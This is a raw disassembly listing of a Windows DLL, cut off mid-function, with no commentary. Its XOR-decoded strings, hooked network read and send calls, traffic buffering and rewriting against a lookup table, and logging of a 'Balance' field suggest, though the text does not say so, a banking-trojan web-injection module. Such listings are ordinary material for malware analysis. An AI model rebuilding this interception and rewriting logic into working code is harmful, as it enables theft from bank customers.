		add	edx, [ebp+var_4]
		mov	al, [edx]
		xor	al, 96h
		mov	ecx, [ebp+lpString2]
		add	ecx, [ebp+var_4]
		mov	[ecx], al
		jmp	short loc_1001079E
; ---------------------------------------------------------------------------


loc_100107CA:				; CODE XREF: sub_10010623+191j
		mov	edx, [ebp+lpString2]
		push	edx		; lpString
		call	ds:lstrlenA	; lstrlenA
		mov	esi, eax
		mov	eax, [ebp+lpString1]
		push	eax		; lpString
		call	ds:lstrlenA	; lstrlenA
		lea	ecx, [esi+eax+1]
		push	ecx		; NewSize
		mov	edx, [ebp+lpString1]
		push	edx		; Memory
		call	ds:realloc	; realloc
		add	esp, 8
		mov	[ebp+lpString1], eax
		mov	eax, [ebp+lpString2]
		push	eax		; lpString2
		mov	ecx, [ebp+lpString1]
		push	ecx		; lpString1
		call	ds:lstrcatA	; lstrcatA
		push	5		; int
		push	0		; Source
		push	0		; lpFileName
		mov	edx, [ebp+lpBuffer]
		push	edx		; lpBuffer
		mov	eax, [ebp+lpString1]
		push	eax		; lpString2
		call	sub_10005E66
		add	esp, 14h
		mov	[ebp+lpBuffer],	eax
		mov	eax, 1
		pop	edi
		pop	esi
		mov	esp, ebp
		pop	ebp
		retn	4
sub_10010623	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_10010829	proc near		; DATA XREF: sub_1001338E+A3o
					; sub_100134D4+A3o

var_1C		= dword	ptr -1Ch
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

; FUNCTION CHUNK AT 1001088D SIZE 00000016 BYTES

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_1001E528
		push	offset loc_10017470
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		add	esp, 0FFFFFFF4h
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_4], 0
		mov	eax, [ebp+arg_C]
		push	eax
		mov	ecx, [ebp+arg_8]
		push	ecx
		mov	edx, [ebp+arg_4]
		push	edx
		mov	eax, [ebp+arg_0]
		push	eax
		call	dword_10073B70
		mov	[ebp+var_1C], eax
		mov	[ebp+var_4], 0FFFFFFFFh
		call	sub_1001087A
		jmp	short loc_1001088D
sub_10010829	endp


; =============== S U B	R O U T	I N E =======================================



sub_1001087A	proc near		; CODE XREF: sub_10010829+4Ap
					; DATA XREF: .rdata:1001E530o
		cmp	dword_10073DFC,	2
		jnz	short locret_1001088C
		mov	ecx, [ebp+0Ch]
		mov	dword ptr [ecx], 800h

locret_1001088C:			; CODE XREF: sub_1001087A+7j
		retn
sub_1001087A	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_10010829


loc_1001088D:				; CODE XREF: sub_10010829+4Fj
		mov	eax, [ebp+var_1C]
		mov	ecx, [ebp+var_10]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn	10h
; END OF FUNCTION CHUNK	FOR sub_10010829

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_100108A3	proc near		; DATA XREF: sub_1001338E+D1o
					; sub_100134D4+D1o

var_74		= dword	ptr -74h
var_70		= dword	ptr -70h
var_6C		= dword	ptr -6Ch
var_68		= dword	ptr -68h
lpParameter	= dword	ptr -64h
var_60		= dword	ptr -60h
var_5C		= dword	ptr -5Ch
lpString2	= dword	ptr -58h
Size		= dword	ptr -54h
var_50		= dword	ptr -50h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

; FUNCTION CHUNK AT 10011151 SIZE 00000016 BYTES

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_1001E538
		push	offset loc_10017470
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		add	esp, 0FFFFFF9Ch
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_20], 0
		mov	[ebp+var_28], 0
		mov	[ebp+var_1C], 0FFFFFFFFh
		mov	[ebp+var_4], 0
		cmp	dword_10073E00,	0
		jnz	loc_10010989


loc_100108EF:				; CODE XREF: sub_100108A3+A4j
		mov	eax, [ebp+var_28]
		cmp	dword_10073A5C[eax*4], 0
		jz	short loc_10010949
		cmp	[ebp+var_28], 190h
		jge	short loc_10010949
		mov	ecx, [ebp+var_28]
		mov	edx, dword_10073A5C[ecx*4]
		mov	eax, [edx+8]
		cmp	eax, [ebp+arg_0]
		jnz	short loc_1001093E
		mov	ecx, [ebp+var_28]
		mov	edx, dword_10073A5C[ecx*4]
		cmp	dword ptr [edx], 0FFFFFFFFh
		jz	short loc_1001093E
		mov	eax, [ebp+var_28]
		mov	[ebp+var_1C], eax
		mov	ecx, [ebp+var_28]
		mov	edx, dword_10073A5C[ecx*4]
		mov	eax, [edx+0Ch]
		mov	[ebp+var_20], eax
		jmp	short loc_10010949
; ---------------------------------------------------------------------------


loc_1001093E:				; CODE XREF: sub_100108A3+72j
					; sub_100108A3+81j
		mov	ecx, [ebp+var_28]
		add	ecx, 1
		mov	[ebp+var_28], ecx
		jmp	short loc_100108EF
; ---------------------------------------------------------------------------


loc_10010949:				; CODE XREF: sub_100108A3+57j
					; sub_100108A3+60j ...
		cmp	[ebp+var_1C], 0FFFFFFFFh
		jz	short loc_10010970
		push	10h		; Size
		call	ds:malloc	; malloc
		add	esp, 4
		mov	Memory,	eax
		mov	edx, dword_10073E00
		add	edx, 1
		mov	dword_10073E00,	edx
		jmp	short loc_10010989
; ---------------------------------------------------------------------------


loc_10010970:				; CODE XREF: sub_100108A3+AAj
		mov	eax, [ebp+arg_C]
		push	eax
		mov	ecx, [ebp+arg_8]
		push	ecx
		mov	edx, [ebp+arg_4]
		push	edx
		mov	eax, [ebp+arg_0]
		push	eax
		call	dword_10073DCC
		mov	[ebp+var_24], eax


loc_10010989:				; CODE XREF: sub_100108A3+46j
					; sub_100108A3+CBj
		cmp	dword_10073E00,	1
		jnz	loc_10010A42
		mov	[ebp+var_50], 28h


loc_1001099D:				; CODE XREF: sub_100108A3+17Cj
		mov	ecx, [ebp+arg_4]
		mov	edx, [ecx+18h]
		mov	eax, dword_10073DF8
		lea	ecx, [eax+edx+1]
		push	ecx		; NewSize
		mov	edx, Memory
		push	edx		; Memory
		call	ds:realloc	; realloc
		add	esp, 8
		mov	Memory,	eax
		mov	eax, Memory
		add	eax, dword_10073DF8
		mov	[ebp+var_3C], eax
		mov	ecx, [ebp+arg_4]
		mov	edx, [ecx+18h]
		mov	[ebp+var_38], edx
		mov	eax, [ebp+arg_C]
		push	eax
		push	0
		lea	ecx, [ebp+var_50]
		push	ecx
		mov	edx, [ebp+arg_0]
		push	edx
		call	dword_10073DCC
		test	eax, eax
		jnz	short loc_10010A0C
		call	ds:GetLastError
		cmp	eax, 3E5h
		jnz	short loc_10010A0C
		push	0FFFFFFFFh	; dwMilliseconds
		mov	eax, hEvent
		push	eax		; hHandle
		call	ds:WaitForSingleObject	; WaitForSingleObject


loc_10010A0C:				; CODE XREF: sub_100108A3+14Cj
					; sub_100108A3+159j
		mov	ecx, dword_10073DF8
		add	ecx, [ebp+var_38]
		mov	dword_10073DF8,	ecx
		cmp	[ebp+var_38], 0
		jnz	loc_1001099D
		mov	edx, dword_10073E00
		add	edx, 1
		mov	dword_10073E00,	edx
		mov	eax, Memory
		add	eax, dword_10073DF8
		mov	byte ptr [eax],	0


loc_10010A42:				; CODE XREF: sub_100108A3+EDj
		cmp	dword_10073E00,	2
		jnz	loc_10011142
		cmp	dword_10073DF4,	0
		jnz	loc_10011082
		mov	[ebp+Size], 0
		mov	[ebp+lpString2], 0
		mov	[ebp+var_60], 0
		mov	[ebp+var_5C], 0
		mov	[ebp+var_28], 0


loc_10010A7F:				; CODE XREF: sub_100108A3+7DAj
		mov	ecx, [ebp+var_28]
		cmp	dword_10073A5C[ecx*4], 0
		jz	loc_10011082
		cmp	[ebp+var_28], 190h
		jge	loc_10011082
		mov	edx, [ebp+var_28]
		mov	eax, dword_10073A5C[edx*4]
		mov	ecx, [eax+8]
		cmp	ecx, [ebp+arg_0]
		jnz	loc_10011074
		mov	edx, [ebp+var_28]
		mov	eax, dword_10073A5C[edx*4]
		cmp	dword ptr [eax], 0
		jl	loc_10010F25
		mov	ecx, [ebp+var_28]
		mov	edx, dword_10073A5C[ecx*4]
		cmp	dword ptr [edx], 3E8h
		jge	loc_10010D39
		mov	eax, Memory
		push	eax		; lpString
		call	ds:lstrlenA	; lstrlenA
		mov	esi, eax
		mov	ecx, [ebp+var_28]
		mov	edx, dword_10073A5C[ecx*4]
		mov	eax, [edx]
		mov	ecx, dword_10034464[eax*4]
		mov	edx, [ecx+8]
		push	edx		; lpString
		call	ds:lstrlenA	; lstrlenA
		imul	eax, 0Ah
		lea	eax, [esi+eax+1]
		mov	[ebp+Size], eax
		mov	ecx, [ebp+Size]
		push	ecx		; Size
		call	ds:malloc	; malloc
		add	esp, 4
		mov	[ebp+lpString2], eax
		mov	edx, [ebp+Size]
		push	edx		; Size
		push	0		; Val
		mov	eax, [ebp+lpString2]
		push	eax		; Dst
		call	memset	; memset
		add	esp, 0Ch
		mov	ecx, [ebp+var_28]
		mov	edx, dword_10073A5C[ecx*4]
		cmp	dword ptr [edx+10h], 0
		jnz	short loc_10010B87
		mov	eax, [ebp+lpString2]
		push	eax
		mov	ecx, [ebp+var_28]
		mov	edx, dword_10073A5C[ecx*4]
		mov	eax, [edx]
		mov	ecx, dword_10034464[eax*4]
		mov	edx, [ecx+8]
		push	edx
		mov	eax, [ebp+var_28]
		mov	ecx, dword_10073A5C[eax*4]
		mov	edx, [ecx]
		mov	eax, dword_10034464[edx*4]
		mov	ecx, [eax+4]
		push	ecx
		mov	edx, Memory
		push	edx
		call	sub_1000F372
		add	esp, 10h
		mov	[ebp+var_60], eax


loc_10010B87:				; CODE XREF: sub_100108A3+29Ej
		mov	eax, [ebp+var_28]
		mov	ecx, dword_10073A5C[eax*4]
		cmp	dword ptr [ecx+10h], 1
		jnz	short loc_10010BDB
		mov	edx, [ebp+lpString2]
		push	edx
		mov	eax, [ebp+var_28]
		mov	ecx, dword_10073A5C[eax*4]
		mov	edx, [ecx]
		mov	eax, dword_10034464[edx*4]
		mov	ecx, [eax+8]
		push	ecx
		mov	edx, [ebp+var_28]
		mov	eax, dword_10073A5C[edx*4]
		mov	ecx, [eax]
		mov	edx, dword_10034464[ecx*4]
		mov	eax, [edx+4]
		push	eax
		mov	ecx, Memory
		push	ecx
		call	sub_1000F5B1
		add	esp, 10h
		mov	[ebp+var_60], eax


loc_10010BDB:				; CODE XREF: sub_100108A3+2F2j
		cmp	[ebp+var_60], 0
		jz	short loc_10010C43
		mov	edx, [ebp+Size]
		push	edx		; NewSize
		mov	eax, Memory
		push	eax		; Memory
		call	ds:realloc	; realloc
		add	esp, 8
		mov	Memory,	eax
		mov	ecx, [ebp+Size]
		push	ecx		; Size
		push	0		; Val
		mov	edx, Memory
		push	edx		; Dst
		call	memset	; memset
		add	esp, 0Ch
		mov	eax, [ebp+lpString2]
		push	eax		; lpString2
		mov	ecx, Memory
		push	ecx		; lpString1
		call	ds:lstrcpyA	; lstrcpyA
		mov	edx, Memory
		push	edx		; lpString
		call	ds:lstrlenA	; lstrlenA
		mov	dword_10073DF8,	eax
		mov	eax, [ebp+var_28]
		mov	ecx, dword_10073A5C[eax*4]
		mov	edx, [ecx]
		mov	dword_10022110,	edx


loc_10010C43:				; CODE XREF: sub_100108A3+33Cj
		push	offset a1_0	; "1"
		mov	eax, [ebp+var_28]
		mov	ecx, dword_10073A5C[eax*4]
		mov	edx, [ecx]
		mov	eax, dword_10034464[edx*4]
		mov	ecx, [eax+24h]
		push	ecx		; Str1
		call	strcmp	; strcmp
		add	esp, 8
		test	eax, eax
		jnz	loc_10010D20
		cmp	[ebp+var_5C], 0
		jnz	loc_10010D20
		cmp	[ebp+var_60], 0
		jz	loc_10010D20
		mov	edx, [ebp+var_5C]
		add	edx, 1
		mov	[ebp+var_5C], edx
		push	0Ch		; Size
		call	ds:malloc	; malloc
		add	esp, 4
		mov	[ebp+lpParameter], eax
		mov	eax, [ebp+lpParameter]
		mov	dword ptr [eax], 0
		mov	ecx, [ebp+var_28]
		mov	edx, dword_10073A5C[ecx*4]
		mov	eax, [edx+4]
		push	eax		; lpString
		call	ds:lstrlenA	; lstrlenA
		add	eax, 1
		push	eax		; Size
		call	ds:malloc	; malloc
		add	esp, 4
		mov	ecx, [ebp+lpParameter]
		mov	[ecx+4], eax
		push	4		; Size
		call	ds:malloc	; malloc
		add	esp, 4
		mov	edx, [ebp+lpParameter]
		mov	[edx+8], eax
		push	4		; Size
		push	0		; Val
		mov	eax, [ebp+lpParameter]
		mov	ecx, [eax+8]
		push	ecx		; Dst
		call	memset	; memset
		add	esp, 0Ch
		mov	edx, [ebp+var_28]
		mov	eax, dword_10073A5C[edx*4]
		mov	ecx, [eax+4]
		push	ecx		; lpString2
		mov	edx, [ebp+lpParameter]
		mov	eax, [edx+4]
		push	eax		; lpString1
		call	ds:lstrcpyA	; lstrcpyA
		push	0		; lpThreadId
		push	0		; dwCreationFlags
		mov	ecx, [ebp+lpParameter]
		push	ecx		; lpParameter
		push	offset sub_10010623 ; lpStartAddress
		push	0		; dwStackSize
		push	0		; lpThreadAttributes
		call	ds:CreateThread	; CreateThread


loc_10010D20:				; CODE XREF: sub_100108A3+3C6j
					; sub_100108A3+3D0j ...
		mov	edx, [ebp+lpString2]
		push	edx		; Memory
		call	ds:free	; free
		add	esp, 4
		mov	[ebp+lpString2], 0
		jmp	loc_10010EE7
; ---------------------------------------------------------------------------


loc_10010D39:				; CODE XREF: sub_100108A3+233j
		mov	eax, Memory
		push	eax		; lpString
		call	ds:lstrlenA	; lstrlenA
		mov	esi, eax
		mov	ecx, [ebp+var_28]
		mov	edx, dword_10073A5C[ecx*4]
		mov	eax, [edx]
		mov	ecx, dword_10035404[eax*4]
		push	ecx		; lpString
		call	ds:lstrlenA	; lstrlenA
		lea	edx, [esi+eax+1]
		mov	[ebp+Size], edx
		mov	eax, [ebp+Size]
		push	eax		; Size
		call	ds:malloc	; malloc
		add	esp, 4
		mov	[ebp+lpString2], eax
		mov	ecx, [ebp+Size]
		push	ecx		; Size
		push	0		; Val
		mov	edx, [ebp+lpString2]
		push	edx		; Dst
		call	memset	; memset
		add	esp, 0Ch
		mov	eax, [ebp+var_28]
		mov	ecx, dword_10073A5C[eax*4]
		cmp	dword ptr [ecx+10h], 2
		jnz	loc_10010E44
		mov	edx, [ebp+lpString2]
		push	edx
		mov	eax, [ebp+var_28]
		mov	ecx, dword_10073A5C[eax*4]
		mov	edx, [ecx]
		mov	eax, dword_10035A44[edx*4]
		push	eax
		mov	ecx, [ebp+var_28]
		mov	edx, dword_10073A5C[ecx*4]
		mov	eax, [edx]
		mov	ecx, dword_10034DC4[eax*4]
		push	ecx
		mov	edx, Memory
		push	edx
		call	sub_1000F7FE
		add	esp, 10h
		mov	[ebp+var_60], eax
		cmp	[ebp+var_60], 0
		jz	short loc_10010E3F
		push	0FFFFFFFFh	; int
		push	0FFFFFFFFh	; int
		push	offset asc_10023744 ; "---------------"
		call	sub_1000291D
		add	esp, 0Ch
		push	0FFFFFFFFh	; int
		push	0FFFFFFFFh	; int
		mov	eax, [ebp+var_28]
		mov	ecx, dword_10073A5C[eax*4]
		mov	edx, [ecx+4]
		push	edx		; Source
		call	sub_1000291D
		add	esp, 0Ch
		push	0FFFFFFFFh	; int
		push	0FFFFFFFFh	; int
		push	offset aBalance	; "--------------\r\nBalance :\r\n"
		call	sub_1000291D
		add	esp, 0Ch
		push	0FFFFFFFFh	; int
		push	0FFFFFFFFh	; int
		mov	eax, [ebp+lpString2]
		push	eax		; Source
		call	sub_1000291D
		add	esp, 0Ch
		push	0FFFFFFFFh	; int
		push	0FFFFFFFFh	; int
		push	offset asc_10023770 ; "\r\n\r\n\r\n"
		call	sub_1000291D
		add	esp, 0Ch


loc_10010E3F:				; CODE XREF: sub_100108A3+53Dj
		jmp	loc_10010ED3
; ---------------------------------------------------------------------------


loc_10010E44:				; CODE XREF: sub_100108A3+4F5j
		mov	ecx, [ebp+lpString2]
		push	ecx
		mov	edx, [ebp+var_28]
		mov	eax, dword_10073A5C[edx*4]
		mov	ecx, [eax]
		mov	edx, dword_10035404[ecx*4]
		push	edx
		mov	eax, [ebp+var_28]
		mov	ecx, dword_10073A5C[eax*4]
		mov	edx, [ecx]
		mov	eax, dword_10034DC4[edx*4]
		push	eax
		mov	ecx, Memory
		push	ecx
		call	sub_1000F372
		add	esp, 10h
		test	eax, eax
		jz	short loc_10010ED3
		mov	edx, [ebp+Size]
		push	edx		; NewSize
		mov	eax, Memory
		push	eax		; Memory
		call	ds:realloc	; realloc
		add	esp, 8
		mov	Memory,	eax
		mov	ecx, [ebp+Size]
		push	ecx		; Size
		push	0		; Val
		mov	edx, Memory
		push	edx		; Dst
		call	memset	; memset
		add	esp, 0Ch
		mov	eax, [ebp+lpString2]
		push	eax		; lpString2
		mov	ecx, Memory
		push	ecx		; lpString1
		call	ds:lstrcpyA	; lstrcpyA
		mov	edx, Memory
		push	edx		; lpString
		call	ds:lstrlenA	; lstrlenA
		mov	dword_10073DF8,	eax


loc_10010ED3:				; CODE XREF: sub_100108A3:loc_10010E3Fj
					; sub_100108A3+5DEj
		mov	eax, [ebp+lpString2]
		push	eax		; Memory
		call	ds:free	; free
		add	esp, 4
		mov	[ebp+lpString2], 0


loc_10010EE7:				; CODE XREF: sub_100108A3+491j
		mov	ecx, [ebp+var_28]
		mov	edx, dword_10073A5C[ecx*4]
		mov	eax, [edx+4]
		push	eax		; Memory
		call	ds:free	; free
		add	esp, 4
		mov	ecx, [ebp+var_28]
		mov	edx, dword_10073A5C[ecx*4]
		push	edx		; Memory
		call	ds:free	; free
		add	esp, 4
		mov	eax, [ebp+var_28]
		mov	dword_10073A5C[eax*4], 0
		jmp	loc_10011074
; ---------------------------------------------------------------------------


loc_10010F25:				; CODE XREF: sub_100108A3+21Dj
		mov	ecx, [ebp+var_28]
		mov	edx, dword_10073A5C[ecx*4]
		cmp	dword ptr [edx], 0FFFFFFFEh
		jnz	loc_10011074
		mov	[ebp+var_68], 0


loc_10010F3F:				; CODE XREF: sub_100108A3+7CCj
		cmp	[ebp+var_68], 32h
		jge	loc_10011074
		mov	eax, [ebp+var_68]
		mov	ecx, dword_10034364[eax*4]
		cmp	dword ptr [ecx], 0
		jz	loc_10011074
		mov	edx, Memory
		push	edx		; lpString
		call	ds:lstrlenA	; lstrlenA
		mov	esi, eax
		mov	eax, [ebp+var_68]
		mov	ecx, dword_10034364[eax*4]
		mov	edx, [ecx]
		push	edx		; lpString
		call	ds:lstrlenA	; lstrlenA
		add	esi, eax
		mov	eax, [ebp+var_68]
		mov	ecx, dword_10034364[eax*4]
		mov	edx, [ecx+4]
		push	edx		; lpString
		call	ds:lstrlenA	; lstrlenA
		lea	eax, [esi+eax+1]
		mov	[ebp+Size], eax
		mov	ecx, [ebp+Size]
		push	ecx		; Size
		call	ds:malloc	; malloc
		add	esp, 4
		mov	[ebp+lpString2], eax
		mov	edx, [ebp+Size]
		push	edx		; Size
		push	0		; Val
		mov	eax, [ebp+lpString2]
		push	eax		; Dst
		call	memset	; memset
		add	esp, 0Ch
		mov	[ebp+var_6C], 0
		mov	ecx, [ebp+lpString2]
		push	ecx
		mov	edx, [ebp+var_68]
		mov	eax, dword_10034364[edx*4]
		mov	ecx, [eax+4]
		push	ecx
		mov	edx, [ebp+var_68]
		mov	eax, dword_10034364[edx*4]
		mov	ecx, [eax]
		push	ecx
		mov	edx, Memory
		push	edx
		call	sub_1000F5B1
		add	esp, 10h
		mov	[ebp+var_6C], eax
		cmp	[ebp+var_6C], 0
		jz	short loc_1001105B
		mov	eax, [ebp+Size]
		push	eax		; NewSize
		mov	ecx, Memory
		push	ecx		; Memory
		call	ds:realloc	; realloc
		add	esp, 8
		mov	Memory,	eax
		mov	edx, [ebp+Size]
		push	edx		; Size
		push	0		; Val
		mov	eax, Memory
		push	eax		; Dst
		call	memset	; memset
		add	esp, 0Ch
		mov	ecx, [ebp+lpString2]
		push	ecx		; lpString2
		mov	edx, Memory
		push	edx		; lpString1
		call	ds:lstrcpyA	; lstrcpyA
		mov	eax, Memory
		push	eax		; lpString
		call	ds:lstrlenA	; lstrlenA
		mov	dword_10073DF8,	eax
		mov	ecx, [ebp+var_28]
		mov	edx, dword_10073A5C[ecx*4]
		mov	eax, [edx]
		mov	dword_10022110,	eax


loc_1001105B:				; CODE XREF: sub_100108A3+756j
		mov	ecx, [ebp+lpString2]
		push	ecx		; Memory
		call	ds:free	; free
		add	esp, 4
		mov	[ebp+lpString2], 0
		jmp	loc_10010F3F
; ---------------------------------------------------------------------------


loc_10011074:				; CODE XREF: sub_100108A3+20Aj
					; sub_100108A3+67Dj ...
		mov	edx, [ebp+var_28]
		add	edx, 1
		mov	[ebp+var_28], edx
		jmp	loc_10010A7F
; ---------------------------------------------------------------------------


loc_10011082:				; CODE XREF: sub_100108A3+1B3j
					; sub_100108A3+1E7j ...
		mov	eax, dword_10073DF4
		cmp	eax, dword_10073DF8
		jnb	short loc_10011104
		mov	ecx, [ebp+arg_4]
		mov	edx, dword_10073DF4
		add	edx, [ecx+18h]
		cmp	edx, dword_10073DF8
		jnb	short loc_100110AE
		mov	eax, [ebp+arg_4]
		mov	ecx, [eax+18h]
		mov	[ebp+var_74], ecx
		jmp	short loc_100110BD
; ---------------------------------------------------------------------------


loc_100110AE:				; CODE XREF: sub_100108A3+7FEj
		mov	edx, dword_10073DF8
		sub	edx, dword_10073DF4
		mov	[ebp+var_74], edx


loc_100110BD:				; CODE XREF: sub_100108A3+809j
		mov	eax, [ebp+var_74]
		mov	[ebp+var_70], eax
		mov	ecx, [ebp+var_70]
		push	ecx		; Size
		mov	edx, Memory
		add	edx, dword_10073DF4
		push	edx		; Src
		mov	eax, [ebp+arg_4]
		mov	ecx, [eax+14h]
		push	ecx		; Dst
		call	memcpy	; memcpy
		add	esp, 0Ch
		mov	edx, dword_10073DF4
		add	edx, [ebp+var_70]
		mov	dword_10073DF4,	edx
		mov	eax, [ebp+arg_4]
		mov	ecx, [ebp+var_70]
		mov	[eax+18h], ecx
		mov	[ebp+var_24], 1
		jmp	short loc_10011142
; ---------------------------------------------------------------------------


loc_10011104:				; CODE XREF: sub_100108A3+7EAj
		mov	dword_10073DF4,	0
		mov	dword_10073DF8,	0
		mov	[ebp+var_24], 0
		mov	edx, [ebp+arg_4]
		mov	dword ptr [edx+18h], 0
		mov	dword_10073E00,	0
		mov	eax, Memory
		push	eax		; Memory
		call	ds:free	; free
		add	esp, 4


loc_10011142:				; CODE XREF: sub_100108A3+1A6j
					; sub_100108A3+85Fj
		mov	[ebp+var_4], 0FFFFFFFFh
		call	nullsub_11
		jmp	short loc_10011151
sub_100108A3	endp

; [00000001 BYTES: COLLAPSED FUNCTION nullsub_11. PRESS	KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_100108A3


loc_10011151:				; CODE XREF: sub_100108A3+8ABj
		mov	eax, [ebp+var_24]
		mov	ecx, [ebp+var_10]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn	10h
; END OF FUNCTION CHUNK	FOR sub_100108A3

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_10011167(int,	void *Dst, int,	int)

sub_10011167	proc near		; DATA XREF: sub_1001338E+BAo
					; sub_100134D4+BAo

var_78		= dword	ptr -78h
var_74		= dword	ptr -74h
var_70		= dword	ptr -70h
var_6C		= dword	ptr -6Ch
lpParameter	= dword	ptr -68h
var_64		= dword	ptr -64h
var_60		= dword	ptr -60h
lpString2	= dword	ptr -5Ch
Size		= dword	ptr -58h
var_54		= dword	ptr -54h
var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
Dst		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

; FUNCTION CHUNK AT 10011A8D SIZE 00000016 BYTES

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_1001E548
		push	offset loc_10017470
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		add	esp, 0FFFFFF98h
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_20], 0
		mov	[ebp+var_24], 0
		mov	[ebp+var_2C], 0
		mov	[ebp+var_1C], 0FFFFFFFFh
		mov	[ebp+var_4], 0
		cmp	dword_10073DFC,	0
		jnz	loc_10011254


loc_100111BA:				; CODE XREF: sub_10011167+ABj
		mov	eax, [ebp+var_2C]
		cmp	dword_10073A5C[eax*4], 0
		jz	short loc_10011214
		cmp	[ebp+var_2C], 190h
		jge	short loc_10011214
		mov	ecx, [ebp+var_2C]
		mov	edx, dword_10073A5C[ecx*4]
		mov	eax, [edx+8]
		cmp	eax, [ebp+arg_0]
		jnz	short loc_10011209
		mov	ecx, [ebp+var_2C]
		mov	edx, dword_10073A5C[ecx*4]
		cmp	dword ptr [edx], 0FFFFFFFFh
		jz	short loc_10011209
		mov	eax, [ebp+var_2C]
		mov	[ebp+var_1C], eax
		mov	ecx, [ebp+var_2C]
		mov	edx, dword_10073A5C[ecx*4]
		mov	eax, [edx+0Ch]
		mov	[ebp+var_24], eax
		jmp	short loc_10011214
; ---------------------------------------------------------------------------


loc_10011209:				; CODE XREF: sub_10011167+79j
					; sub_10011167+88j
		mov	ecx, [ebp+var_2C]
		add	ecx, 1
		mov	[ebp+var_2C], ecx
		jmp	short loc_100111BA
; ---------------------------------------------------------------------------


loc_10011214:				; CODE XREF: sub_10011167+5Ej
					; sub_10011167+67j ...
		cmp	[ebp+var_1C], 0FFFFFFFFh
		jz	short loc_1001123B
		push	10h		; Size
		call	ds:malloc	; malloc
		add	esp, 4
		mov	dword_10073DE4,	eax
		mov	edx, dword_10073DFC
		add	edx, 1
		mov	dword_10073DFC,	edx
		jmp	short loc_10011254
; ---------------------------------------------------------------------------


loc_1001123B:				; CODE XREF: sub_10011167+B1j
		mov	eax, [ebp+arg_C]
		push	eax
		mov	ecx, [ebp+arg_8]
		push	ecx
		mov	edx, [ebp+Dst]
		push	edx
		mov	eax, [ebp+arg_0]
		push	eax
		call	dword_10073DC0
		mov	[ebp+var_28], eax


loc_10011254:				; CODE XREF: sub_10011167+4Dj
					; sub_10011167+D2j
		cmp	dword_10073DFC,	1
		jnz	loc_1001133A


loc_10011261:				; CODE XREF: sub_10011167+1B1j
		mov	[ebp+var_54], 28h
		push	0
		push	0
		lea	ecx, [ebp+var_20]
		push	ecx
		mov	edx, [ebp+arg_0]
		push	edx
		call	dword_10073B70
		test	eax, eax
		jnz	short loc_10011299
		call	ds:GetLastError
		cmp	eax, 3E5h
		jnz	short loc_10011299
		push	0FFFFFFFFh	; dwMilliseconds
		mov	eax, hEvent
		push	eax		; hHandle
		call	ds:WaitForSingleObject	; WaitForSingleObject


loc_10011299:				; CODE XREF: sub_10011167+115j
					; sub_10011167+122j
		mov	ecx, [ebp+var_20]
		mov	edx, dword_10073DF0
		lea	eax, [edx+ecx+1]
		push	eax		; NewSize
		mov	ecx, dword_10073DE4
		push	ecx		; Memory
		call	ds:realloc	; realloc
		add	esp, 8
		mov	dword_10073DE4,	eax
		mov	edx, dword_10073DE4
		add	edx, dword_10073DF0
		mov	[ebp+var_40], edx
		mov	eax, [ebp+var_20]
		mov	[ebp+var_3C], eax
		mov	ecx, [ebp+var_24]
		push	ecx
		push	0
		lea	edx, [ebp+var_54]
		push	edx
		mov	eax, [ebp+arg_0]
		push	eax
		call	dword_10073DCC
		test	eax, eax
		jnz	short loc_10011305
		call	ds:GetLastError
		cmp	eax, 3E5h
		jnz	short loc_10011305
		push	0FFFFFFFFh	; dwMilliseconds
		mov	ecx, hEvent
		push	ecx		; hHandle
		call	ds:WaitForSingleObject	; WaitForSingleObject


loc_10011305:				; CODE XREF: sub_10011167+180j
					; sub_10011167+18Dj
		mov	edx, dword_10073DF0
		add	edx, [ebp+var_3C]
		mov	dword_10073DF0,	edx
		cmp	[ebp+var_20], 0
		jnz	loc_10011261
		mov	eax, dword_10073DFC
		add	eax, 1
		mov	dword_10073DFC,	eax
		mov	ecx, dword_10073DE4
		add	ecx, dword_10073DF0
		mov	byte ptr [ecx],	0


loc_1001133A:				; CODE XREF: sub_10011167+F4j
		cmp	dword_10073DFC,	2
		jnz	loc_10011A7E
		cmp	dword_10073DEC,	0
		jnz	loc_1001198D
		mov	[ebp+Size], 0
		mov	[ebp+lpString2], 0
		mov	[ebp+var_64], 0
		mov	[ebp+var_60], 0
		mov	[ebp+var_2C], 0


loc_10011377:				; CODE XREF: sub_10011167+80Ej
		mov	edx, [ebp+var_2C]
		cmp	dword_10073A5C[edx*4], 0
		jz	loc_1001197A
		cmp	[ebp+var_2C], 190h
		jge	loc_1001197A
		mov	eax, [ebp+var_2C]
		mov	ecx, dword_10073A5C[eax*4]
		mov	edx, [ecx+8]
		cmp	edx, [ebp+arg_0]
